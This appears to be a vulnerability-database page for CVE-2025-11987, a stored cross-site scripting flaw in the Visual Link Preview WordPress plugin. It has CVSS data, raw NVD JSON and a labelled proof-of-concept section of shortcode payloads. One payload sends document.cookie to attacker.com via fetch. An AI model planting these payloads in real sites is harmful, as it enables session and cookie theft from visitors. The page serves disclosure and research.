Security Vulnerability Report
中文
CVE-2025-11987 CVSS 6.4 MEDIUM

CVE-2025-11987

Published: 2025-11-05 10:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Visual Link Preview plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's visual-link-preview shortcode in versions up to, and including, 2.2.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Visual Link Preview plugin for WordPress <= 2.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Basic PoC for CVE-2025-11987 --> <!-- Stored XSS via Visual Link Preview shortcode --> <!-- Method 1: Using onerror event handler --> [visual-link-preview url='https://example.com' title='Test' image='x' onerror='alert(document.cookie)'] <!-- Method 2: Using onload event handler --> [visual-link-preview url='https://example.com' title='<img src=x onerror=alert(1)>'] <!-- Method 3: Using script tag injection --> [visual-link-preview url='javascript:alert(document.domain)' title='Click me'] <!-- Method 4: Stealing cookies --> [visual-link-preview url='https://evil.com' title='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Required: Contributor role or higher WordPress account -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11987", "sourceIdentifier": "[email protected]", "published": "2025-11-05T10:15:34.637", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Visual Link Preview plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's visual-link-preview shortcode in versions up to, and including, 2.2.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/visual-link-preview/tags/2.2.7/includes/public/class-vlp-link.php#L56", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/visual-link-preview/tags/2.2.7/templates/link/simple/simple.php#L1", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3388877/visual-link-preview/trunk/templates/link/simple/simple.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/65ae3119-61d1-4ec0-8ba2-352aae5cc834?source=cve", "source": "[email protected]"}]}}